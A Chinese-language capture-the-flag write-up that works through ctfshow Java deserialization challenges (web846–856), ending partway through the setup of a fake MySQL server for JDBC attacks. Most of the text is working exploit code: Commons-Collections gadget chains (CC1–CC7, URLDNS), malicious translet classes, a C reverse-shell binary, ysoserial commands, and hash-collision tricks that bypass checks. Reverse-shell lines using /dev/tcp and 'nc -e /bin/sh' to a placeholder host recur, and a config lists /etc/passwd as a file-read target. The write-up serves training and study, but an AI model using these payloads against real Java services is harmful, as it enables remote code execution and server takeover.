ctfshow-Web入门刷题记录4

参考:

CTFSHOW web入门 java反序列化篇(更新中)

CTFSHOW web入门 java反序列化篇 web855

CTFSHOW-Java反序列化

java反序列化

web846

直接URLDNS访问题目网址即可

package show.ctf.java;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class web846 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://64724688-c89b-4ddb-985d-ed76b2bc0f0f.challenge.ctf.show/");
// 修改初始的hashCode,使得序列化时不会触发
Class c = url.getClass();
Field urlfield = c.getDeclaredField("hashCode");
urlfield.setAccessible(true);
urlfield.set(url,1234);
hashMap.put(url,1);
urlfield.set(url,-1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

注意最后的payloadurl编码一下

POST:
ctfshow=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa%2FORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F3QANzY0NzI0Njg4LWM4OWItNGRkYi05ODVkLWVkNzZiMmJjMGYwZi5jaGFsbGVuZ2UuY3RmLnNob3d0AAEvcQB%2BAAV0AARodHRwcHhzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXg%3D

web847

题目说是java7并且使用了commons-collections 3.1并且删除了nc和curl命令,然后给了接收部分的代码

data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));

CC1打一下,先maven安一下依赖

<dependencies>
<!-- https://mvnrepository.com/artifact/junit/junit -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

写一下exp(Java中弹shell要注意一下,可以看下这个这个

package show.ctf.java;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class web847 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
byte[] shellBytes = ("bash -i >&/dev/tcp/your-ip/your-port 0>&1").getBytes();
String shellStr = Base64.getEncoder().encodeToString(shellBytes);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,"+shellStr+"}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
// 注解可以乱填,因为动态代理的invoke只需要在readObject种执行一个无参方法即可触发,不需要过后面的判断
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
// 这里动态代理一个LazyMap可以实现readObject->invoke->get
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

web848

题目说甚至不准用TransformedMap类反序列化,但我们上一个就用的LazyMap版本的,所以直接拿上一题的就能用(上一题是可以用TransformedMap版本的CC1的)

web849

题目换成java8commons-collections 4.0,因此用CC4,先添加下依赖

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

构造exp(记得要用nc,虽然题目里面说的删了,但是外面提示了CC链之二,**可以用nc反弹**,一开始没看到,麻了,并且这个题目用CC2也可以打通)

package show.ctf.java;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class web849 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"evo1");

byte[] code = Files.readAllBytes(Paths.get("target/classes/show/ctf/java/web849_shell.class"));
byte[][] codes = {code};
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

// Field tfactory = tc.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// chainedTransformer.transform(1);

// 与前面的CC链相同,防止本地执行,先放进去个ConstantTransformer
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

// 这里是为了满足priorityQueue.heapify中的(size >>> 1),从而能够进入for循环
priorityQueue.add("evo1");
priorityQueue.add("evo2");

// 用反射放进去想用的chainedTransformer
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

恶意类

package show.ctf.java;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;
import java.util.Base64;

// 在defineTransletClasses中要满足superClass.getName().equals(ABSTRACT_TRANSLET)
// 所以这里要继承下AbstractTranslet
public class web849_shell extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("nc your-ip your-port -e /bin/sh");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

弹完之后在自己vps上可能看不到变化,记得输入命令试试成功没有。

web850

题目提示我是java7,使用了commons-collections 3.1的库并对一些可能有危险的类进行了封禁,实际上是过滤了Transformer,因此可以用CC3,首先恶意类改成用bash(改来改去的。。。记得用Java7!!!!!!)

package com.ctfshow;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
// 1. 加载恶意类
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"evo1");

byte[] code = Files.readAllBytes(Paths.get("target/classes/com/ctfshow/payload.class"));
byte[][] codes = {code};
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

// 其实_tfactory在readObject中会被赋值
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// 2. ysoserial中的CC3,使用InstantiateTransformer和TrAXFilter
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
// ConstantTransformer最后调用时需要,前面按流程写链子时可先不写
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
// 注解可以乱填,因为动态代理的invoke只需要在readObject种执行一个无参方法即可触发,不需要过后面的判断
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
// 这里动态代理一个LazyMap可以实现readObject->invoke->get
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = new BASE64Encoder().encode(payloadBytes);
System.out.println(payload);
// serialize(o);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

恶意类

package com.ctfshow;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// 在defineTransletClasses中要满足superClass.getName().equals(ABSTRACT_TRANSLET)
// 所以这里要继承下AbstractTranslet
public class payload extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,你要执行的命令的base64}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

也可以直接用工具打(前面的题目也是)

java -jar ysoserial-all.jar CommonsCollections3 "bash -c {echo,你要执行的命令的base64}|{base64,-d}|{bash,-i}"|base64

接下来就要记录下我做这道题无语的经历,当我用自己的CC3打不通,用工具的CC3可以打通的时候,事情就开始变味了,首先对比了下报错,报错这里不一样

web850.png

然后下载对应源码看一下(服务器的Java版本是1.7.0_55)。发现本来应该一直执行到第二个框的,但我的payload进入了第一个框就停了

web850-1.png

然后第一个框的作用主要是给_class赋值为我们定义的恶意类,可以看到Java7的是可以成功赋值的

web850-2.png

而使用Java8版本的payload时,会出现问题

web850-3.png

在这一步defineClass加载字节码时,会捕获到异常

web850-4.png

搜一下报错就可以知道,是Java版本问题在捣鬼。所以,一定要保持和远程一样的版本再做题,仔细读题,不然就会和我一样找bug到半夜,还是太菜了呀我/(ㄒoㄒ)/~~

web851

题目提示有nc,然后描述有我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,应该是原来的CC2和CC4不能用了

CC7改

拿CC7改一下

package show.ctf.java;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class web851 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc your-ip your-port -e /bin/sh"})
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 先传进来一个空的,防止在put里面的equals触发
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap<Object,Object> hashMap1 = new HashMap<>();
HashMap<Object,Object> hashMap2 = new HashMap<>();

// 在java中yy和zZ的hashCode是一样的
Map<Object,Object> lazyMap1 = LazyMap.lazyMap(hashMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map<Object,Object> lazyMap2 = LazyMap.lazyMap(hashMap2,chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Class c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);

// LazyMap.get中会多生成一个yy
lazyMap2.remove("yy");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
// serialize(hashtable);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC6改

同理其他基于commons-collections3Java8的CC链理论上改成CC4也可以,看网上的题解也可以不用LazyMap改用DefaultedMap也是可以的,这里放一个改的CC6

package show.ctf.java;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class web851 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc your-ip your-port -e /bin/sh"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
// 改成ConstantTransformer是为了防止put的时候就被使用
Map<Object,Object> lazyMap = LazyMap.lazyMap(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"evo1");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"evo2");

// 序列化的时候需要这个key来过掉LazyMap.get中的map.containsKey(key) == false
// 但是序列化后这个key会被放进去,所以需要再去掉
lazyMap.remove("evo1");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(map2);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);

// serialize(map2);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

web852

web851

web853

web851里的改的CC6会报类不支持的错,但是改的CC7还是可以用的

web854

题目给了更详细的信息

提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,包含:
TransformedMap
PriorityQueue
InstantiateTransformer
TransformingComparator
TemplatesImpl
AnnotationInvocationHandler
HashSet
Hashtable
LazyMap

下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));

CC5改

看一下以前的链子发现可以改一下CC5,把里面的LazyMap换成DefaultedMap就行了

package show.ctf.java;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;

public class web854 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc your-ip your-port -e /bin/sh"})
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

DefaultedMap defaultedMap = new DefaultedMap(chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap,"evo1");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("evo");

Class bc = badAttributeValueExpException.getClass();
Field val = bc.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);

// serialize(badAttributeValueExpException);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC6改

同样的道理,可以发现CC6里面也只有LazyMap不能用罢了,改成DefaultedMap就可以了

package show.ctf.java;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class web854 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc your-ip your-port -e /bin/sh"})
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

DefaultedMap defaultedMap = new DefaultedMap(chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap,"evo1");

HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"evo2");


Class c = ChainedTransformer.class;
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(map);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);

// serialize(map);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

web855

提示说我是java8,没有使用额外的库,然后给了源码

package com.ctfshow.entity;

import java.io.*;

public class User implements Serializable {
private static final long serialVersionUID = 0x36d;
private String username;
private String password;

public User(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}


private static final String OBJECTNAME="ctfshow";
private static final String SECRET="123456";

private static String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME;



private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
int magic = in.readInt();
if(magic==2135247942){
byte var1 = in.readByte();

switch (var1){
case 1:{
int var2 = in.readInt();
if(var2==0x36d){

FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME);
fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46});
byte[] temp = new byte[1];
while((in.read(temp))!=-1){
fileOutputStream.write(temp);
}

fileOutputStream.close();
in.close();

}
break;
}
case 2:{

ObjectInputStream.GetField gf = in.readFields();
String username = (String) gf.get("username", null);
String password = (String) gf.get("password",null);
username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
User var3 = new User(username,password);
User admin = new User(OBJECTNAME,SECRET);
if(var3 instanceof User){
if(OBJECTNAME.equals(var3.getUsername())){
throw new RuntimeException("object unserialize error");
}
if(SECRET.equals(var3.getPassword())){
throw new RuntimeException("object unserialize error");
}
if(var3.equals(admin)){
Runtime.getRuntime().exec(shellCode);
}
}else{
throw new RuntimeException("object unserialize error");
}
break;
}
default:{
throw new RuntimeException("object unserialize error");
}
}
}

}

@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof User)) return false;
User user = (User) o;
return this.hashCode() == user.hashCode();
}

@Override
public int hashCode() {
return username.hashCode()+password.hashCode();
}


}

分析一下这个类可以发现,在case 1这里可以写入我们的恶意文件,给的拿个固定开头是elf文件头,而在case 2这里则可以执行我们的恶意文件,所以思路是通过case 1写入我们的恶意可执行文件,然后在case 2这里执行恶意文件,先写一个恶意文件

#include<stdlib.h>
int main() {
system("nc your-ip your-port -e /bin/sh");
return 0;
}

gcc编译生成可执行文件后删去前4个字节,重写一下UserwriteObject

private void writeObject(ObjectOutputStream outputStream) throws IOException {
outputStream.writeInt(2135247942);
outputStream.writeByte(1);
outputStream.writeInt(0x36d);
File hack = new File("hack");
BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(hack));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(1024);
byte[] temp = new byte[1024];
int size = 0;
while((size = bufferedInputStream.read(temp))!=-1){
byteArrayOutputStream.write(temp,0,size);
}
bufferedInputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
outputStream.write(bytes);
outputStream.defaultWriteObject();
}

生成写入恶意文件的payload

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class web855 {
public static void main(String[] args) throws IOException {
User user = new User("evo1", "evo1");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

传过去可以生成恶意文件,然后case 2需要满足几个条件,就是实例化时传入的usernamepassword不能是ctfshow123456,但是hash比较时又相等,这里直接用一下yu22x师傅的脚本找一下

def hashcode(val):
h=0
for i in range(len(val)):
h=31 * h + ord(val[i])
return h
t="ct"
#t="12"
for k in range(1,128):
for l in range(1,128):
if t!=(chr(k)+chr(l)):
if(hashcode(t)==hashcode(chr(k)+chr(l))):
print(t,chr(k)+chr(l))

最后发现可以用dU0Q替代ct12,先重写一下writeObject

private void writeObject(ObjectOutputStream outputStream) throws IOException {
outputStream.writeInt(2135247942);
outputStream.writeByte(2);
outputStream.defaultWriteObject();
}

生成第二步要用的payload

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class web855 {
public static void main(String[] args) throws IOException {
User user = new User("dUfshow", "0Q3456");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

web856

MySQL JDBC 客户端反序列化漏洞分析

JDBC反序列化,看一下上面这篇文章然后把工具下载下来就可以。把MySQL_Fake_Server部署到自己的vps上,先配置下config.json

{
"config":{
"ysoserialPath":"你的ysoserial的绝对路径",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
